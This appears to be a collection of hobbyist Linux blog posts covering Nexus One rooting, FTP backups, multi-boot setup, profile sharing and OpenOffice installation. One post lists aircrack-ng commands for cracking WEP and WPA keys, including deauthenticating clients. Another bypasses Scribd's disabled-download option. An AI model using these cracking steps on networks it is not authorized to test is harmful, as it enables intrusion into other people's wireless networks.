The Nexus one was rooted before it even got released. Paul at modaco forums showed us how to perform this hack. I’ll try to simplify the method here.

1. First unlock your bootloader if you have a T-mobile Nexus One (this voids the warranty) or get an unlocked version from Google for like $550:

a. download fastboot
b. open terminal or command line and type
– Windows fastboot-windows oem unlock
– Mac ./fastboot-mac oem unlock
– Linux ./fastboot-linux oem unlock

2. Rewrite the Bootloader to obtain root privileges:

a. Download either SuperBoot or InsecureBoot and extract. (The difference is that with the insecure boot you won’t make any changes to the system and you would have to launch su manually)
b. Put the device in bootloader mode:
– Turn off the phone and restart holding the trackball.
c. Flash the bootloader:
– Windows = double click the windows bat file
– Mac = open terminal and cd to the directory containing the file. type
chmod +x install-superboot-mac.sh
./install-superboot-mac.sh
– Linux = open terminal and cd to the directory containing the file. type
chmod +x install-superboot-linux.sh
./install-superboot-linux.sh

Now you should have root!

Pic courtesy of Stericson.

Last time I backed up my website with rsync and ssh, but on my new host they disabled SSH. Rsync does not work over ftp. I do not want to do incremental backups with delta files like is done with rdiff-backup or duplicity. I need to have an exact mirror of my site. But remember that your sql databases won’t be backed up.

Curlftpfs is the key! In this tutorial I will show you how to backup from one server to a backup location which can be your hard drive, another web host, dropbox folder, Box.net via webdav, etc.

Download curlftpfs, rsync and ncftp:
sudo apt-get install curlftpfs ncftp rsync

make directories to mount your ftp server:
sudo mkdir /media/hydtechblog
sudo mkdir /media/hydtechbackupserver

edit fstab to mount the ftp servers using curlftpfs:
sudo gedit /etc/fstab

add the lines and modify them according to your server:
curlftpfs#username:password@hydtechblog.com /media/hydtechblog fuse rw,allow_other,uid=root 0 0
curlftpfs#username:password@hydtechbackupserver /media/hydtechbackupserver fuse rw,allow_other,uid=root 0 0

One thing to remember is that these two will not mount automatically because when the computer restarts, the fstab is done while you are not connected to the network. To fix this we can just add the mount commands in our crontab.

Edit crontab:
sudo crontab -e
enter the following lines and modify accordingly:
00 09 * * * mount /media/hydtechblog
00 09 * * * mount /media/hydtechbackup
01 09 * * * rsync -avz –rsync-path=/usr/bin/rsync /media/hydtechblog/public_html /media/hydtechbackup/public_html

ctrl + o to write and ctrl + x to save

This will tell cron to mount the folders at 9:00 am and start rsync at 9:01 am. You can replace the backup location to another folder on your hard drive or your dropbox or ubuntu one folder. You can also mount box.net with webdav and use this method.

For encrypted incremental backups checkout duplicity, it also works with webdav and ftp.

There are several utilities in Windows which reveal the opera wand password and I haven’t used windows in forever. The Opera wiki has a Power button which can help capture your password while logging in to the site. Click this link in Opera and it will install a button which you can drag to any panel. While on a page which requires a password, you can click on this new wand instead of your original wand.

Voila!

At first injection with the Intel pro wireless cards was impossible. Then came the ipwraw driver. Now, we no longer need the ipwraw as the iwl3945 card supports injection. Most linux distros now ship with this driver.

Follow these steps for a succesful WEP crack in Ubuntu:

download necessary files
sudo apt-get install aircrack-ng

place card in monitor mode
sudo airmon-ng start wlan0

test injection
sudo aireplay-ng -9 -e linksys -a 00:14:6C:7E:40:80 mon0
(0% means injection not working)

capture data and write to file called output
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w output mon0

fake authentication
sudo aireplay-ng -1 0 -e linksys -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

replay mode
sudo aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

run aircrack
sudo aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap

For WPA cracking follow this:

monitor mode
sudo airmon-ng start wlan0

collect handshake
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w psk mon0

deauth connected client
sudo aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 mon0

cracking
sudo aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

These are just refreshers. For more help check www.aircrack-ng.org

After upgrading to Jaunty, I never managed to successfully connect to my desktop using NX. I use a windows computer with nomachine nx client. I always got an error like this:

Info: Proxy running in client mode with pid '1728'
Session: Starting session at 'Sat Jan 12 16:34:05 2008'.
Warning: Connected to remote version 3.0.0 with local version 3.1.0
Info: Connection with remote proxy completed.
Warning: Unrecognized session type 'unix-desktop'. Assuming agent session.
Info: Using ADSL link parameters 512/24/1/0.
Info: Using cache parameters 4/4096KB/16384KB/16384KB.
Info: Using pack method 'adaptive-7' with session 'unix-gnome'.
Info: Using ZLIB data compression 1/1/32.
Info: Using ZLIB stream compression 4/4.
Info: No suitable cache file found.
Info: Forwarding X11 connections to display ':0'.
Info: Forwarding multimedia connections to port '6000'.
Info: Listening to font server connections on port '11000'.
Session: Session started at 'Sat Jan 12 16:58:19 2008'.
Info: Established X server connection.
Info: Using shared memory parameters 0/0K.
Session: Terminating session at 'Sat Jan 12 16:58:19 2008'.
Session: Session terminated at 'Sat Jan 12 16:58:19 2008'.

After hours of searching the web, I concluded the problem is with the ownership and permissions of the .Xauthority file. Here’s how I fixed it:
sudo chown hydtech /home/hydtech/.Xauthority
sudo chgrp hydtech /home/hydtech/.Xauthority

and delete:
sudo rm /home/hydtech/.Xauthority-l
sudo rm /home/hydtech/.Xauthority-c

Now it works like a charm.

Mozilla thunderbird saves the settings in a file called profile.ini. This file contains the location of the folder which has all your mail and settings. When first installed and loaded, thunderbird creates a random folder like diy1bg1t.default.

Opera settings are stored in Opera6.ini. This has information for the location of other settings files, like wand passwords, plugin locations, etc.

I installed these programs on Windows first and kept the default settings and locations for these files. After installing Ubuntu, I had to figure out a way to share the profiles, but back then people were suggesting to make a common FAT32 partition and keep these files there so Linux could have read and write access to them. With NTFS-3G, this became much easier and I just left the files on the NTFS partition. Later on I installed Fedora and openSuse on the same machine and used the same directions like Ubuntu. (Check here to see my post about Quad Booting my Thinkpad with Windows, Ubuntu, Fedora, and openSuse)

The first step was to make sure the NTFS partition was mounted at start up. I made a folder for the mount:

sudo mkdir /media/sda1

On startup, the system looks for partitions to mount in fstab. If you need more information on mounting and fstab, I recommend this post at ubuntuforums.org

opened fstab for editing:

sudo gedit /etc/fstab

added the following entry to fstab because my Windows partition is at /dev/sda1:

# My windows partition
/dev/sda1 /media/sda1 ntfs-3g defaults, locale=en_US.UTF-8 0 0

Save file, restart.

Once Linux loaded back up and the Windows partition was automatically mounted, I got the packages for Opera and thunderbird and installed them with this:

In Ubuntu:
sudo apt-get install opera mozilla-thunderbird

Thunderbird In Fedora:
su
(enter password)
yum install thunderbird

Thunderbird in openSuse:
used the yast2 graphical package manager.

Opera in Fedora and openSuse:
downloaded rpm package from www.opera.com onto desktop

rpm -ivh /home/(user)/Desktop/opera-9.64.gcc4-shared-qt3.i386.rpm

The mozilla profile.ini file will be under
/home/(user)/.mozilla-thunderbird for Ubuntu
/home/(user)/.thundebird for openSuse and Fedora

The folders that start with a dot are hidden and you can unhide them in Nautilus (Gnome) with “Alt+H” and in Dolphin (KDE) with “Alt+.”

The profile.ini in Linux should be something like this pointing to the folder which has your mail:

[General]
StartWithLastProfile=1

[Profile0]
Name=default
IsRelative=0
Path=/media/sda1/Documents and Settings/(windows user)/Application Data/Thunderbird/Profiles/diy1bg1t.default

Make sure that isRelative=0 and replace the diy1bg1t with the appropriate foldername

Now when I opened up Thunderbird, I had my mail !!!!

Moving on to Opera:

After Opera was installed in Linux, I copied the opera6.ini from windows to the opera folder in Linux located at /home/(user)/.opera

opened up the new opera6.ini for editing:

sudo gedit /home/(user)/.opera/opera6.ini

and replaced all the paths C:\Program Files\Opera 9\profile with /media/sda1/Program Files/Opera 9/profile

and deleted the session folder in /.opera and created a symbolic link to point to the session folder in windows.

Opened up Opera and was happy to discover all my tabs and settings!!

I’ve been using Ubuntu dual booted with windows for quite a while now, but due to driver compatibility issues and lack of knowledge used windows for the most part. Since Ubuntu 8.10, I’ve completely switched over to Ubuntu and love it. Mostly because it’s FREE! Windows is still hanging around in case I might need it for some program in the future. I use Thunderbird as my email client and Opera as my web browser. One of my main concerns was sharing the profiles for these programs, but NTFS-3G has made life easier.

After feeling comfortable with Ubuntu, I decided I needed to expand my knowledge by learning to use KDE; different package managers like yum and yast; and the possibility of having multiple Linux Oses on single partitions. After doing some research, I decided I should either go with openSuse or Fedora. Then, I figured: “Why not both?” and leave Ubuntu and Windows intact. I downloaded the Live CD’s for both Oses. The Live CD installation has less programs and tools installed compared to the DVD installation.

I opened Gparted on Ubuntu to make extra partitions for Fedora and openSuse, but I realized I can’t have more than 4 primary partitions without hacking the MBR. I deleted the Linux Swap partition because I already have 2GB of RAM. I resized my Windows and Storage partitions and made one extra partition on which I would install both Fedora and openSuse. I split the partition into 2 logical partitions of about 5GB each.

Since my Lenovo does not have an optical drive, I had to use an external USB drive and allow the BIOS to boot from it

Popped in the Fedora Live CD and installed Fedora. I selected the first logical partition and set this location as “/” (root) and opted not to use a swap space. When it asks to install GRUB, you can choose not to or to install it at the beginning of the Root partition and not at the beginning of the whole hard drive because Ubuntu has already installed GRUB there and you might not want to write over it. I chose not to install GRUB. It was a painless install. Restarted and booted into Fedora to make sure it worked.

Next, I popped in the openSuse Live CD and installed it to the second logical partition also without swap space. Again, chose not to install GRUB. Install was again pretty simple. Booted into openSuse to make sure it worked.

Now, I had to update my GRUB to include the other Oses. I could have done it manually, but I chose to upgrade my 8.10 Intrepid to 9.04 Jaunty by hitting “Alt+F2″ and typing “upgrade-manager -d”, which updated the entries in GRUB automatically.

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Still one more issue: How to install Opera and Thunderbird and share the profiles between Windows, Ubuntu, Fedora and openSuse. This call for a new blog entry.

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Some users disable the option to download a document from scribd but the option to print is still available. We can use this to our advantage and save the document by printing the file to PDF.

In Ubuntu, we need to install cups-pdf to create a postscript printer. Check my previous post here for a tutorial.

After installing the PDF printer, go to the document you want to save on scribd.  Select more -> Print

Select the PDF printer and hit print.  and wait…...………. this can take upto 10-15 minutes depending on how big the file is.

Check the print status. 6 minutes and still printing……

When done, the file will be saved in the PDF folder we created and will be called _stdin_.pdf

Instructions for Ubuntu:

Yesterday I noticed that the menu on my OpenOffice had some weird characters. I finally figured out that some of the system fonts in Ubuntu are not compatible with OO. I managed to change the fonts back by going to System -> Preferences -> Appearance -> Fonts. But it was too late. During the process I upgraded, uninstalled the whole program and reinstalled it back again. For this process, I used synaptic package manager to find everything that said openoffice and marked it for complete removal.

I could have also opened up terminal and typed:
sudo apt-get remove openoffice*.*

Then, I went to openoffice.org and downloaded the .deb file for 3.0.1 (OOo_3.0.1_LinuxIntel_install_en-US_deb.tar.gz) and extracted it to the desktop. Then I typed:
sudo dpkg -i ~/Desktop/OOO300_m15_native_packed-1_en-US.9379/DEBS/*.deb

dpkg is a tool to install, build, remove and manage Debian GNU/Linux packages. The -i option is used to install a file or in this case, several files. We selected *.deb which means select all the files with a .deb extension and install them. We could have alternatively double clicked each .deb package and installed it separately, but the command line is a much more powerful option.

Next, to install the last package stored in a different folder, I typed:
sudo dpkg -i ~/Desktop/OOO300_m15_native_packed-1_en-US.9379/DEBS/desktop-integration/openoffice.org3.0-debian-menus_3.0-9376_all.deb

I believe I could have used the –recursive or -R option and specified the directory, which would have installed all the packages in the folder including all the sub-folders.

That’s all it took.

Instructions for Fedora and openSuse:

Goto openoffice.org and Download the rpm in tar.gz format onto the Desktop

open up terminal, become root and untar the file:
su
(enter password)
tar -xvf /home/black/Desktop/OOo_3.0.1_LinuxIntel_install_wJRE_en-US.tar.gz

cd into the directory:
cd OOO300_m15_native_packed-1_en-US.9379/

setup:
./setup

follow install directions:

[digg=http://digg.com/linux_unix/Tutorial_How_to_Install_OpenOffice_on_Ubuntu_Fedora_openSuse]

Yatta !